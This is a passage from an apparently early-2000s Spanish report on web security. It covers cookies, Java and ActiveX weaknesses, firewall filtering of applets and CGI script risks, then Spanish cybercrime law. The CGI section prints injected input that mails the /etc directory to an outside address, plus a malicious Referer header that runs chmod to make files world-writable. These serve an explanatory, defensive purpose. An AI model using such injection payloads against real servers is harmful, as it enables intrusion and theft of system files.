Los exploradores suelen almacenar cookies en la máquina del cliente, siendo estos un grupo de atributos que pueden ser añadidos en la respuesta HTTP del servidor.

Cuando un cliente solicita una URL el explorador comprueba si hay cookies almacenados correspondientes a esa localización, y en el caso de que sean encontrados son mandados junto con la petición ya que contienen información importante para el servidor sobre el cliente, teniendo por lo tanto muchas posibles aplicaciones para los intereses del servidor y siendo también útil para reducir la carga en el servidor ya que este no tiene por qué almacenar todos los cookies.

Como se puede apreciar los cookies suponen una amenaza contra la privacidad de los usuarios, se podría deshabilitar esta opción en el explorador pero nos encontramos con numerosos sitios que mandan múltiples cookies cada cierto intervalo de tiempo, no dejando visualizar correctamente la Web si estos no son aceptados por el cliente.

Hay ciertos límites en cuanto a los cookies:

- 300 cookies como máximo puede almacenar el cliente
- 4 KB por cookie, es el tamaño máximo
- 20 cookies por servidor o dominio

Los cookies son mandados al cliente cuando se ha ejecutado un script en el servidor, conteniendo una cabecera Set-cookie la cual contiene cinco valores siendo solo el primero obligatorio, siendo de la forma.

**Set-cookie: NAME=VALUE; expires=DATE; domain=DOMAIN\_NAME; path=PATH; secure**

El proceso sería de la siguiente forma:

1. El cliente solicita un archivo de un servidor, la respuesta contiene la cabecera.

**Set-Cookie: User=Memonix; path=/; expires=Monday, 13-Dec-2001 8:15:00**

2. El cliente almacena el cookie en su HD

3. El cliente más tarde vuelve al mismo servidor para acceder a otro archivo donde el explorador mandaría

**Cookie: User=Memonix**

4. Si el cliente vuelve el día de expiración del cookie, el explorador mandaría lo siguiente con la petición

**Cookie: User=Memonix; account=checking**

5. El cliente solicita otra página y recibe en la respuesta

**Set-Cookie: last-deposit=900; path=/accounting**

así seguiría el proceso...

Por lo tanto estos cookies permiten a los servidores almacenar una gran cantidad de información sobre los usuarios para fines comerciales en la mayoría de los casos, también se ha de notar que estos son mandados en claro en ambas direcciones, por lo que varios tipos de ataques pueden afectar al mecanismo entero desde destruir todos los cookies que se nos envía hasta sobrescribir valores en estos mismos.

### 3.7. Java

Java como se ha dicho ha introducido muchas mejoras a la hora de diseñar una pagina Web, pero también esta ampliamente demostrado que los applets de Java pueden llegar a violar la seguridad de una maquina y llegar a ejecutar código arbitrario en ella.

Al leer esto cualquier persona se podría preguntar el porque de hablar de la seguridad de Java, ya que no es ni mas ni menos que un lenguaje de programación mas como pueda serlo C o Pascal, y ante esa posible pregunta se podría contestar con que Java tiene la capacidad de compilar código en plataformas independientes, cuando se habla del entorno de seguridad de Java se esta hablando de los controles de acceso de código en Java recibido de un "desconocido", por lo que estos fragmentos de código o applets han de ser ejecutados en un entorno controlado del que no puedan "escapar", a este entorno se le suele denominar sandbox, lo que no quiere decir que este sandbox nos vaya a proteger de cualquier fragmento de código maligno porque es incierto.

Dentro de este entorno llamado "sandbox", el desarrollador se encarga de decidir cuales serán las acciones que los applets pueden desarrollar, Javasoft se ha encargado de establecer una clasificación relacionando entornos de ejecución con el estado de seguridad.

	Más estricto -----> Menos estricto
	-----
	NN NL AN AL JS
Read file in /home/me, acl.read=null	no no no si si
Read file in /home/me, acl.read=/home/me	no no si si si
Write file in /tmp, acl.write=null	no no no si si
Write file in /tmp acl.write=/tmp	no no si si si
Get file into,acl.read=null acl.write=null	no no no si si

Get file.into,acl.read=/home/me acl.write=/tmp	no	no	si	si	si
Delete file,using File.delete()	no	no	no	no	si
Delete file,using exec /usr/bin/rm	no	no	no	si	si
Read the user.name property	no	si	no	si	si
Connect to port on the third host	no	si	no	si	si
Load library	no	si	no	si	si
Exit(-1)	no	no	no	si	si
Create a pop-up window without a warning	no	si	no	si	si

Donde :

NN → Netscape Navigator cargando applets en la red

NL → Netscape Navigator cargando applets desde el disco local

AN → Appletviewer JDK cargando applets en la red

AL → Appletviewer JDK cargando applets desde el disco local

JS → Java stand-alone applications

Supuestamente los applets provenientes de la maquina local son mucho mas seguros o están mas "autenticados" que los que vienen de la red, pero para esto los intrusos disponen de ciertas "técnicas" para engañar al explorador haciéndole creer que los applets remotos se encuentran en el disco local, por lo que a los applets remotos se les concederían los privilegios reservados para los applets locales.

Pero este no es el único fallo que podemos encontrar en la implementación de la seguridad de Java, por ejemplo un requerimiento que no se cumplía

tal y como era de esperar era que un applet solo fuese capaz de abrir una conexión TCP con el servidor que lo había mandado, pero en cambio este podía abrir una conexión con una maquina cualquiera en Internet por lo que incluso una maquina detrás de un firewall podría ser atacada.

Una parte importante de la seguridad en Java la tiene Classloader, un objeto especial de Java, donde debemos recordar que los objetos en Java son llamados clases, siendo este el responsable de convertir el código remoto en estructuras de datos representando a las clases de Java. Donde cualquier clase cargada desde la red requiere un Classloader, es decir para que una clase remota sea añadida a las clases locales es necesario hacer uso de Classloader, el cual hace chequeos del código remoto antes de cargarlo, siendo esta parte llamada byte code verifier, encargándose de que el código remoto no contenga :

1. Falsos punteros
2. Que no viole las restricciones de acceso impuestas
3. Que acceda a los objetos por su tipo correcto
4. Que no contenga stack overflows

A su vez Classloader también se encarga de dar un nombre para el código descargado comprobando que no hay ninguno con el mismo nombre ya en la maquina, teniendo mayor prioridad los nombres locales, por lo que las clases remotas nunca podrán sobrescribir nombres locales, como se ve este punto es bastante interesante ya que puede dar pie a que un atacante capacitado ataque de alguna manera a la maquina, y de hecho este mecanismo de prioridad para los nombres tiene algunas fallas.

Otra clase importante es Security Manager la cual es necesaria solo para los applets remotos, encargándose de dar acceso a los recursos del sistema, donde las operaciones son clasificadas por su grado de seguridad, donde las operaciones seguras son permitidas instantáneamente, pero las operaciones no seguras necesitan que la clase Security Manager decida si es permitida o no, un ejemplo de como esta clase es consultada para acceder a la llamada del sistema mkdir es:

--=[Ejemplo 1]==--

```
Public boolean mkdir(String path)
    SecurityManager security = System.getSecurityManager();
```

```
    if (security != null) {  
        security.checkWrite(path);  
    }  
    return mkdir0();  
}
```

Donde cuando mkdir es llamado, Security Manager se encarga de chequear si esta llamada es permitida, siendo mkdir0() llamado en caso afirmativo.

Aunque estos métodos parezcan muy eficaces, a la hora de la verdad pueden fallar ya que no es fácil crear unas reglas eficaces y pueden llegar a ocurrir interacciones entre ellas a la hora de tomar ciertas decisiones.

También es sabido que grupos privados de seguridad informática han encontrado varias formas de saltarse los controles de acceso y llegar a ejecutar código arbitrario en la maquina, habiendo sido solo reportadas estas vulnerabilidades a Sun y Netscape, habiendo sido capaces de generar código que permitía construir una clase Classloader o Security Manager, usando Classloader para atacar al sistema, siendo la explicación a grandes rasgos de la siguiente forma :

1. Asumiendo que las clases A y B se refieren a la clase C, un Classloader podría resolver A contra la clase C y B contra la clase C'
2. Ahora si un objeto de la clase C es situado en la clase A y pasado como argumento al método de B, el método de B trataría al objeto como si fuese de la clase C' y no C, debido a que el Classloader resolvió B contra la clase C'
3. En el caso de que C sea una clase protegida y C' sea una clase publica, el código "rompería" el tipo seguro de Java

Por lo que llegado el caso de que un atacante ha sido capaz de romper el tipo seguro de Java, el atacante tendría pleno control, ya que controlaría todos los valores de las variables no estáticas, podría llamar a métodos arbitrarios o llegar a modificar la jerarquía de las clases. Incluso se han llegado a encontrar nuevas vías de ataque como la utilización no solo de un applet, sino de dos applets a la vez para llegar a romper el tipo seguro de Java.

Otro tipo de ataques afectan a la manera en que se organizan las clases en Java, haciéndolo el ficheros llamados paquetes, donde el nombre de estos

son identificadores separados por puntos, donde el sistema interno de Java se encarga de sustituir cada "." por una "/", teniendo la restricción de que los paquetes no pueden empezar su nombre por un "." para asegurarse de que las rutas absolutas nunca son utilizadas, donde si un paquete empieza con un "/" el sistema resolvería la localización como una ruta absoluta, por lo que si un atacante coloca código en cualquier lugar del sistema identificando su localización, este atacante podría hacer que el código fuese descargado como confiable especificando una ruta absoluta, encontrándonos con que el sistema de archivos de Andrew (AFS) puede ser usado por ejemplo para acceder a los paquetes Java con una ruta absoluta.

Otra forma de conseguir que una maquina ejecutase código como confiable sería haciendo que Netscape Navigator recobrase los ficheros de clases, si el explorador los almacena en la cache y si el atacante puede determinar los nombres de los ficheros de clases, puede llegar a conseguir que estos sean cargados como código confiable, encontrando que este tipo de ataque tiene un porcentaje elevado de tener éxito ya que muchos usuarios tienen el cache de su explorador en directorios conocidos por todo el mundo, a la vez que para los nombres de los archivos hay un modelo standard.

Aun así todavía hay ataques mas oscuros con los que nos podemos encontrar, como es el caso del establecimiento de canales ocultos a la maquina victima sin que el usuario sepa que su maquina se esta comunicando con el atacante, donde este canal podría incluso pasar a través de un firewall si este esta configurado para dejar pasar el trafico DNS, además de que toda la información facilitada al applet llegaría al atacante mediante este canal.

### ***3.8. Javascript***

Para empezar habría que decir que Java y Javascript son lenguajes bastante diferentes aunque por el nombre parezca lo contrario, Javascript fue desarrollado por Netscape para permitir que hubiera código dentro de los documentos HTML, sirviendo para cambiar dinámicamente este documento según ciertas condiciones a la vez que es muy útil a la hora de definir eventos según la entrada proporcionada por el usuario o por la posición del cursor en la pantalla.

A simple vista se podría creer que Javascript no tiene el mismo poder que Java para afectar a los recursos del sistema, pero la realidad nos dice que puede llegar a ser bastante peligroso, aunque en general los problemas de seguridad derivados de Javascript no pueden ser explotados directamente, necesitando la interacción del usuario aunque esta puede ser tan simple de conseguir como la elección de un simple botón, al generarse una pantalla de aviso en la pagina con que el usuario seleccionase un botón cualquiera el ataque tendría lugar.

De una manera general los ataques que pueden llegar a ser causados mediante Javascript son:

1. Recolección de información de la victima, como puede ser los sitios visitados
2. Capacidad de conseguir listar ficheros y directorios de la maquina victima, con lo que se ganaría información muy valiosa sobre esta misma
3. No solo se puede llegar a poder leer archivos de la victima, también se puede conseguir que estos mismos sean enviados al atacante
4. Javascript puede ser usado para atacar a maquinas que tienen bloqueado el acceso a los applets de Java mediante un firewall, eliminando todas las etiquetas `</applet>` de los documentos HTML, donde Javascript puede ser usado para generar etiquetas `</applet>` en el código fuente, las cuales pasarían el firewall. Otra forma de hacer esto mismo seria enviando `</%41pplet>` como etiqueta lo que seria suficiente para que Javascript lo reconstruyese como `</Applet>` en el documento HTML.

Una diferencia importante relativa a la seguridad entre Java y Javascript es que en Javascript no existen los conceptos de métodos privados y públicos como si ocurre en Java, por lo que no hay métodos internos que debieran ser protegidos como en Java mediante la firma de clases, así que todos los métodos deben ser protegidos en tiempo de ejecución.

A su vez en Javascript se pueden añadir características a los objetos existentes en tiempo de ejecución, lo cual no es posible en Java, por tanto la protección que se realiza de una manera automática en Java no es posible de aplicar en Javascript, debiendo ser manejada de forma separada.

Se podría decir que la opción mas segura seria desactivar Javascript en el explorador, debido a que bloquear estos scripts en el firewall es casi imposible.

### **3.9. ActiveX**

ActiveX, al igual que pasaba con Java, si es firmado como código confiable se ejecutara en la maquina con todos los privilegios necesarios, pudiendo abrir el camino a trafico no deseado si un atacante logra cambiar las reglas especificas sobre el contenido de ActiveX.

ActiveX usa un mecanismo para poder llegar a determinar si un cierto fragmento de código es lo suficientemente seguro o no para ejecutarse, usando para ello la autenticación criptográfica, aunque ni aun así podemos estar del todo seguros sobre la fiabilidad de ese código, para ello se usan esquemas de firmas digitales basados en criptografía de llave publica, por lo tanto en estos procesos de autenticación hay dos partes implicadas, el usuario final y el firmante del control, pudiendo este proceso ser vulnerable a los ataques llamados "third party attacks".

Estos ataques se basan principalmente en el establecimiento de una conexión no segura con una Web cualquiera, donde un control firmado puede ser reemplazado por un control sin firmar, un control firmado por otra persona o una versión vulnerable de ese mismo control.

Algunos de los peligros mas importantes con los que nos podemos enfrentar al usar ActiveX son por ejemplo la posibilidad de que nuestro firewall sea traspasado con total impunidad, muchos firewalls dicen ser capaces de filtrar todo el contenido relacionado con Java, Javascript y ActiveX, con técnicas como las mencionadas anteriormente como eliminar las etiquetas APPLET, OBJECT o SCRIPT, pero para que esto se llegue a cumplir verdaderamente si la sintaxis HTML del firewall se comporta de la misma manera que la del explorador, ya que puede darse el caso de que la forma en que el explorador codifica la información al vuelo no sea entendida por el firewall.

Algunos ataques interesantes han sido descubiertos por Chaos Computer Club llegando a demostrar la capacidad de controles ActiveX para buscar una aplicación especifica en la maquina de la victima, en este caso una aplicación financiera, pudiendo añadir a los registros internos de esta aplicación pagos que por supuesto son totalmente falsos.

Internamente los controles ActiveX vienen a comprender la tecnología que permite descargar y ejecutar controles en un formato soportado por los mecanismos del sistema para la firma y autenticación del código, normalmente incluyen :

1. Controles COM, archivos de tipo .dll y .ocx
2. Archivos ejecutables Win32, de tipo .exe
3. Archivos usados para especificar localizaciones y versiones para otro conjunto de archivos, de tipo .inf
4. Archivos referidos a una etiqueta OBJECT, de tipo .cab

Un elemento importante es IntraApp, este control ActiveX esta autenticado por un certificado de Verisign, siendo sobre todo usado para trabajar en intranets, siendo su función la de permitir a los usuarios ejecutar programas arbitrarios en la maquina, donde la lista de programas que pueden ser ejecutados es almacenada en un archivo de configuración, el cual es especificado como una URL en un parámetro para el control.

Una característica importante es que ActiveX no autentifica la pagina Web en la que esta situada el control, por lo que los llamados third party attacks pueden ser fácilmente utilizados contra IntraApp, ya que este a su vez es considerado como seguro por lo que ante ciertas acciones ningún mensaje de aviso será mostrado al usuario.

Estos controles también pueden contener cualquier error de programación que permita a un atacante atacar al sistema, ya que estos controles suelen estar escritos en C y C++, por lo que son vulnerables a los conocidos buffer overflow, estando también el caso de que si un atacante conoce el nombre de los parámetros usados puede jugar con ellos para intentar provocar un fallo en el control afectado, un atacante también puede determinar la versión exacta de cualquier control lo que le facilita en gran parte el trabajo.

### ***3.10. Firewalls vs. Applets***

El principal problema que nos encontramos es el poder permitir la ejecución de applets confiables a la vez que protegernos de applets

maliciosos, centrándonos en este apartado en la problemática que supone Java para los firewalls.

Java ofrece una manera casi imperceptible de realizar ataques en el lado del cliente, muchos de estos ataques tienen la forma de un applet de Java el cual al ser invocado por la maquina del usuario intenta establecer una conexión telnet con esta misma, yendo algunos applets mas allá cuando el Security Manager de Java les prohíbe el paso al puerto telnet, ya que intentarían conectarse a otro puerto como ftp con la esperanza de que el firewall permita esa conexión.

Una importante función por parte del firewall es la de localizar las etiquetas <applet> a la vez que saber cuando ha de bloquearlas o cuando no, siendo para este proceso muy importante el que el firewall trate el documento HTML de la misma manera que la hace el explorador, ya que aunque en la actualidad la mayoría de los exploradores tienen total compenetración con Java, un atacante puede encontrar la forma de enviar una etiqueta <applet> de tal forma que el firewall no tenga notificación de ello pero el explorador si, y dada la gran cantidad de formas en que los exploradores pueden interpretar los elementos HTML esta posibilidad de puede llegar a producir.

Otra técnica que se toma en cuenta a la hora de bloquear applets es bloquear todos los archivos entrantes con la firma CA FE BA BE, ya que como es requerido por Java Virtual Machine Specification, todos los archivos de clases de Java empiezan con estos 4 bytes, siendo la estrategia de bloqueo CA FE BA BE fácil de implementar ya que solo necesita comprobar una pequeña porción del contenido del archivo y aunque este método esta sometido a un pequeño porcentaje de falsos positivos, ya que existen archivos que sin ser archivos de clases pueden empezar con CA FE BA BE, es de gran utilidad.

Otra técnica que lógicamente se usa es el filtrado de los archivos con la extensión .class, aunque podemos encontrarnos con que ultimamente las clases de Java son encapsuladas en un archivo con extensión .zip, por lo que esta técnica no es del todo segura, aunque esto se resolvería de una forma tan simple como desempaquetar dicho archivo y mirar si contiene la firma CA FE BA BE.

### **3.11. Cgi Scripts**

Los Common Gateway Interface son usados para interactuar con el usuario de una forma dinámica, suponiendo un gran avance en el campo de la WWW, siendo capaces de enviar argumentos a los programas y de recibir valores de estos.

Cuando estos cgi scripts se ejecutan, lo hacen con el UID que tiene establecido el servidor Web, por lo que si un cgi cualquiera tiene un fallo el cual permite a un agresor ejecutar ciertos programas, estos lo haran bajo el UID del servidor Web, así que correr bajo root se puede ver que es una mala idea.

El flujo de entrada que se traspassa a un script es un conjunto de variables de entorno, donde el servidor cocería esa entrada para procesarla.

Un listado de las variables de entorno que son utilizadas en todo el proceso son:

**GATEWAY\_INTERFACE**

**SERVER\_NAME**

**SERVER\_SOFTWARE**

**AUTH\_TYPE**

**CONTENT\_LENGTH**

**CONTENT\_TYPE**

**PATH\_INFO**

**PATH\_TRANSLATED**

**QUERY\_STRING**

**REMOTE\_ADDR**

**REMOTE\_HOST**

**REMOTE\_IDENT**

REMOTE\_USER

REQUEST\_METHOD

SCRIPT\_NAME

SERVER\_PORT

SERVER\_PROTOCOL

HTTP\_ACCEPT

HTTP\_USER\_AGENT

HTTP\_REFERER

HTTP\_<whatever>

Un ejemplo de lo que podría intentar un atacante para violar la seguridad de un script, sería introducir comandos en la entrada del script o pasando caracteres de escape para que fuesen manejados por el motor del script. Si nos encontramos por ejemplo con un script escrito en algún lenguaje shell pueden empezar los problemas, una demostración.

--==[Ejemplo 1]==--

```
grep $INPUT_VAR_1 $INPUT_VAR_2
```

Hache aparentemente no vemos nada de lo que un atacante se puede aprovechar. Pero si el agresor tiene en cuenta por ejemplo el carácter ";" las cosas pueden cambiar de la siguiente manera :

```
INPUT_VAR_1="foo"  
INPUT_VAR_2="/dev/null tar cf - /etc|mail memonix@bigfoot.com"
```

Suponiendo que la línea de comandos lo evaluase de la siguiente forma

```
grep foo /dev/null ; tar cf - /etc | mail memonix@bigfoot.com
```

Es entonces cuando somos conscientes del peligro al que podemos estar expuestos. Por lo que podemos comprobar que es preferible evitar los

caracteres de escape en los flujos de entrada, pudiéndose solucionar de una forma como la siguiente :

```
$CLEAN_INPUT=`unescape "$DIRTY_INPUT"`
```

también nos debemos de cuidar de las variables estándar como por ejemplo \$HTTP\_REFERER, porque un script que incluya algo como

```
if [ $HTTP_REFERER ] ...
```

puede ser vulnerable a una petición HTTP que comience tal que así

```
GET /foo/bar/baz.cgi HTTP/1.0
Referer:"`chmod -R a+w .`"
...
```

donde el comando chmod sería ejecutado dentro del comando if como una subshell haciendo al directorio escribible por cualquiera.

Muchos de estos peligros pueden ser solucionados por los mensajes de error en Perl "Insecure dependency" o "Insecure PATH", debido a las fuertes restricciones que impone este lenguaje, pudiendo con el escribir scripts relativamente seguros ya que tiene en cuenta que las variables de entrada pueden ser peligrosas tratándolas de una manera especial, a la vez que también tiene en cuenta los peligros que conllevan las características setuid y setgid, dando una alternativa segura al uso de estos pudiendo hacer que los peligros derivados de las races conditions desaparezcan.

Otras características seguras que encontramos en Perl son el uso de "compartimentos" o espacios protegidos de ejecución, el uso de operadores seguros, etc.

Tcl es otro lenguaje que incorpora interesantes características de programación segura, como el anteriormente citado uso de espacios protegidos de ejecución, la utilización de un interprete esclavo sin ningún tipo de poder como la lectura o escritura de archivos, el uso de un interprete seguro que modifica la entrada proporcionada por el usuario pasándose la modificación de esta a un interprete inseguro, etc.

En cuanto a Python las características a resaltar son que usa restricciones de ejecución que prohíben modificar el sistema de archivos o ejecutar programas arbitrarios.

### **3.12. Hyperlink Spoofing**

Este tipo de ataques afecta a la autenticación de SSL, teniendo su base en los llamados ataques "man-in-the-middle" donde un atacante puede conseguir que un explorador conecte con un falso servidor, aparentando estar haciendo uso de una conexión segura, siendo el usuario susceptible a una gran variedad de ataques como la revelación de información privada y sensible, la descarga de programas troyanizados, etc.

El atacante se esta aprovechando en la forma en que el explorador usa los certificados digitales para asegurar las conexiones, pudiendo ser posible que este tipo de ataque pudiera extenderse no solo a SSL sino también a SET.

El problema reside en que muchos usuarios a la hora de solicitar establecer una conexión con una pagina Web, no usan para ello la URL o el nombre DNS, sino que usan para ello hyperlinks, donde SSL no verifica o no verificaba el hyperlink seleccionado por el usuario, uniendo esto a la posibilidad de DNS Spoofing hacen que una pagina cualquiera pueda "engañarnos". Por lo tanto ambos tipos de spoofing vienen a tener el mismo efecto, tanto DNS Spoofing como Hyperlink Spoofing, con la salvedad de que las técnicas de Hyperlink Spoofing son mucho más fáciles de llevar a cabo.

Un simple ejemplo:

```
<A HREF=https://www.pepe.net/>Enlace a Fabricas Pepe</A>
```

En este caso solo bastaría que dicha página fuese similar a la verdadera, con lo que la posible victima no se daría cuenta del engaño, pudiendo ser engañada para facilitar datos sensibles como datos personales, números de tarjetas de crédito, etc.

Como se ve es una autentica tontería pero suele suceder mas de lo que se puede llegar a pensar. El explorador en todo momento informaría al usuario de que la conexión es segura, pero el ataque de spoofing ya habría tenido lugar.

además en un ataque con bastantes posibilidades de llegar a buen puerto el atacante no debe de ser tan minucioso con la URL que desea establecer para llevar a cabo el ataque. Direcciones de ejemplo que podrían servir

para engañar a un gran número de personas con pocos conocimientos podrían ser:

<https://www.xyz.net/pepe>

<https://191.23.158.9/pepe>

### ***3.13. Conclusión***

Como se ha podido ver a lo largo de todos los apartados de este punto, cualquier usuario ha de estar en todo momento alerta al igual que todo buen administrador de un servidor Web, ya que la WWW es un medio muy hostil, donde cualquiera esta expuesto a una gran variedad de ataques, los cuales pueden ser provocados por minucias como pueden ser la selección de un determinado icono de una pagina Web o la activación de un determinado componente en nuestro explorador del cual poco sabemos mas que sirve para permitirnos ver todo tipo de animaciones e imágenes.

Por tanto cuando arranquemos nuestro explorador hemos de saber que estamos entrando en zona enemiga, puede parecer bastante paranoico, pero teniendo en cuenta la gran cantidad de personas que pueden causarnos algún tipo de daño, no lo es, la paranoia es una virtud.

#### **4. EVALUACIÓN DE LA SITUACIÓN DESDE EL MARCO LEGAL**

La atribución de la competencia jurisdiccional a unos determinados tribunales para conocer de los litigios derivados de las conductas realizadas a través de Internet presenta una serie de dificultades, debidas al hecho de que las tecnologías informáticas y telemáticas están introduciendo unos cambios en la sociedad que no han sido por el momento tratados en nuestra legislación de una forma precisa y específica.

En el ámbito de las relaciones privadas entre particulares la cuestión de la laguna legislativa no presenta tanto problema, ya que a este tipo de operaciones les son aplicables las normas internacionales sobre competencia jurisdiccional que determinan el tribunal concreto ante el que se sustanciará el proceso de entre todos estados que puedan guardar algún tipo de conexión con el litigio. Por otro lado, en este tipo de relaciones jurídicas las partes están perfectamente identificadas.

De todos modos es conveniente que las propias partes de los negocios jurídicos que se puedan realizar a través de Internet establezcan en sus contratos cláusulas de sumisión expresa por las que determinen el tribunal que tendrá competencia en el caso de que se suscite un conflicto entre ellas.

La atribución de la competencia se complica a la hora de determinar los órganos jurisdiccionales que podrán enjuiciar los delitos cometidos a través de la red, debido a los efectos transfronterizos que éstos puedan tener, unido al hecho de que lo que puede ser constitutivo de delito en un estado puede no estar tipificado como tal en otro.

La problemática se centra principalmente en los delitos cometidos a distancia, que son definidos por el Tribunal Supremo como aquellos en los que la actividad se realiza en un lugar y el resultado se consigue en otro distinto. Existen varias teorías jurisprudenciales para determinar el lugar de comisión del delito, pero de todos modos a la hora de determinar la competencia judicial siempre habrá que tener en cuenta las circunstancias, condición y naturaleza del delito cometido. Así, en el caso de los delitos continuados (aquellos en los que, en ejecución de un plan preconcebido o aprovechando idéntica ocasión, realice una pluralidad de conductas que

ofendan a uno o varios sujetos e infrinjan un mismo precepto del Código penal o preceptos de naturaleza semejante) será competente el juez del lugar en que radique el centro de las actividades y en el que se fraguaron los distintos delitos, cursándose órdenes y datos para su realización.

La jurisprudencia en ocasiones otorga la competencia al juez del lugar en donde se produjeron los perjuicios derivados del delito, por lo que no está muy clara la determinación de la competencia jurisdiccional territorial dentro del estado español, aunque sin embargo la jurisprudencia no deja ningún tipo de duda respecto a la jurisdicción española es la competente para conocer de los delitos planeados y organizados en España, por ciudadanos españoles, dirigidos al público español y cuyos resultados se producen en este país, a pesar de que los medios técnicos utilizados se hallen en un país extranjero.

Pero desgraciadamente hay muchas actuaciones delictivas que no comparten esas mismas características, ya que normalmente dentro de la red una misma conducta producirá sus efectos en cualquier lugar del mundo. Por ello se ha sugerido, como solución para cubrir este vacío en cuanto a la

La atribución de 1: competencia jurisdiccional, la celebración de Acuerdos Internacionales en los que se especifique el órgano que juzgará los delitos en caso de conflictos de atribución entre dos o más estados. En ellos también se podría determinar los tipos de acciones u omisiones que constituyan conductas perseguibles, armonizando así la legislación de los estados firmantes respecto a este tipo de delitos.

El problema que se plantea respecto a la celebración de este tipo de acuerdos es la existencia de países que no ratifican ningún tipo de Tratado, los llamados "paraísos informáticos", que debido a su actitud se encuentran fuera de la acción de la justicia.

La Comisión Europea ha determinado que corresponde a los estados miembros garantizar la aplicación de la legislación existente, no obstante ha dicho que se han de proponer medidas concretas en el ámbito de Justicia e Interior para intensificar la cooperación entre los estados miembros. Afirma también la Comisión que todas las actividades están cubiertas por el marco jurídico actual, pero se precisa una mayor cooperación internacional para evitar la existencia de refugios seguros para los documentos contrarios a las normas generales del Derecho Penal.

Otra posibilidad consiste en la creación de unas normas específicas para Internet, aunque esta solución presenta también varios problemas, como el hecho de que los usuarios de la red son contrarios a que el estado intervenga Internet y coarte sus libertades.

Se ha propuesto también soluciones de tipo técnico en este sentido, pero todavía no se ha llegado a una solución definitiva para evitar que los delitos cometidos a través de Internet no sean juzgados porque no se pueda determinar la competencia judicial. En este contexto se pueden establecer los siguientes puntos:

- 1) El delito informático.
- 2) Penalización
- 3) Obtención de pruebas

#### **4.1. EL DELITO INFORMÁTICO.**

El artículo 10 de nuestro vigente Código Penal dice que "son delitos o faltas las acciones y omisiones dolosas penadas por la Ley".

Respecto a los delitos informáticos, no hallamos una definición de los mismos en la legislación. Sin embargo, algunos autores han apuntado algunas como es el caso del Profesor Pérez Luño que los delimita como aquel "conjunto de conductas criminales que se realizan a través del ordenador electrónico, o que afectan al funcionamiento de los sistemas informáticos".

Otra definición es aportada por el Profesor Davara Rodríguez, el cual afirma que se trata de "la realización de una acción que, reuniendo las características que delimitan el concepto de delito, sea llevada a cabo utilizando un elemento informático y/o telemático, o vulnerando los derechos del titular de un elemento informático, ya sea hardware o software".

A pesar de ser contemplado por la doctrina legal, no existe formalmente el delito informático como tal en nuestra legislación, ni siquiera como

categoría genérica. ¿A qué llamamos pues delitos informáticos? Pues a un conjunto de delitos dispares recogidos en el Código Penal en diversas secciones los cuales tienen en común la intervención de la tecnología informática, bien como medio de comisión de la acción típica o bien como objeto del ilícito.

En general, podemos señalar las siguientes características propias de estos tipos delictivos:

**1- Rapidez en su comisión y acercamiento en tiempo y espacio:**

Un delito cometido a través de las nuevas tecnologías puede ser cometido con gran celeridad pudiendo llevar, incluso, décimas de segundo, en el caso, por ejemplo, de la activación de virus informáticos o en el robo de información mediante robots inteligentes.

Así mismo, el espacio queda relativizado al poder ser cometidos a miles de kilómetros mediante el uso de las redes de telecomunicaciones como Internet.

**2- Especialización técnica de los autores.**

La complejidad propia de las nuevas tecnologías implica un alto nivel de conocimientos, respecto a su manejo y estructura, que han de tener los autores, en términos generales, para que puedan cometer los delitos tipificados.

**3- Facilidad para encubrir el hecho y borrar las pruebas.**

Debido a la naturaleza de la tecnología digital, es relativamente fácil, para un sujeto experimentado, borrar o destruir las huellas o alteraciones que haya podido causar en un sistema informático, eliminando así las pruebas que le incriminen.

Debido a las características descritas de estos delitos, se plantean los siguientes problemas que dificultan su perseguibilidad en la práctica:

**1- Determinación del sujeto.**

En ocasiones se puede determinar el ordenador concreto desde el que se ha cometido un hecho delictivo pero, el hecho de que una pluralidad de personas tengan acceso al mismo hace difícil la determinación del autor material del ilícito, debiendo acudir a sistemas de prueba tradicionales para esta finalidad: testigos, registros de entrada en el local, etc. que no siempre son posibles.

**2- Facilidad para ocultar pruebas o indicios.**

Tal y como comentábamos anteriormente, la facilidad de destruir los registros informáticos u otros indicios digitales de un delito informático por una persona con los conocimientos necesarios puede dificultar enormemente la prueba de dicho hecho.

### **3- Complejidad técnica.**

En la línea de lo ya apuntado, estos tipos delictivos solamente pueden ser cometidos por expertos en informática y telecomunicaciones, por ello es necesario un alto grado de preparación por parte de las autoridades que persigan y conozcan de estos hechos o de sus colaboradores.

### **4- Conexión de causalidad.**

Dado que hay un distanciamiento en el espacio e, incluso, en el tiempo, entre el acto delictivo y el resultado pernicioso, es necesario probar la relación de causalidad entre ambos sucesos. Se debe conectar el hecho producido por el actor con el perjuicio producido, en algunos casos, a miles de kilómetros de allí.

### **5- Lugar de comisión del delito.**

Otro problema muy común en el caso de Internet es, como se ha visto anteriormente, la determinación del lugar donde se entiende producido el delito y, con ello, la legislación y la jurisdicción competentes para conocer del mismo. Como, por ejemplo, en la entrada de un hacker en un servidor de correo situado en los Estados Unidos cuando éste se haya conectado desde España.

Podemos clasificar los delitos informáticos en dos tipos: por un lado, los delitos clásicos que ahora pueden ser cometidos también a través de las nuevas tecnologías, y por otro lado, los nuevos delitos surgidos específicamente con ocasión de la informática y de la telemática.

A continuación veremos la tipificación y la penalización de estos delitos en nuestro vigente Código Penal.

## **4.2. PENALIZACIÓN**

Un hacker es la persona que tiene la capacidad y los conocimientos para explorar un sistema informático y recabar todo tipo de información,

pudiendo entrar en él sin autorización, y vulnerar así bienes jurídicos protegidos por nuestro Código Penal, mediante la comisión de una serie de conductas ilícitas punibles que se realizan dentro del ámbito de Internet.

Tal y como se ha comentado, nuestra legislación no cuenta con una tipificación específica para los delitos cometidos mediante instrumentos informáticos o telemáticos, si bien gran parte de este tipo de comportamientos pueden subsumirse dentro de las conductas tipificadas en nuestro Código Penal, ya que existen varios delitos contemplados por la legislación española que pueden ser cometidos mediante hacking, siendo los más importantes los delitos de descubrimiento y revelación de secretos y de daños.

El delito de revelación de secretos está contemplado en varios preceptos del Código Penal, ya que derivarán consecuencias distintas según el sujeto activo del delito o si media o no causa legal por delito.

En los artículos 197 y .siguientes de nuestro vigente Código Penal se contempla el caso de que el sujeto que comete el delito es un particular.

La conducta tipificada en el apartado primero de este artículo consiste en el apoderamiento de mensajes de correo electrónico, la interceptación de las telecomunicaciones de otro sujeto o utilización de artificios técnicos de cualquier señal de comunicación para descubrir los secretos o vulnerar la intimidad de otro, sin su consentimiento.

El bien jurídico protegido mediante este precepto es el derecho a la intimidad, reconocido en el arto 18 de la Constitución española como un derecho fundamental, por lo que tendrá una protección especial. Es importante en este caso que los comportamientos se realicen sin el consentimiento del titular del derecho a la intimidad, pues de lo contrario esta conducta sería impune debido a su atipicidad.

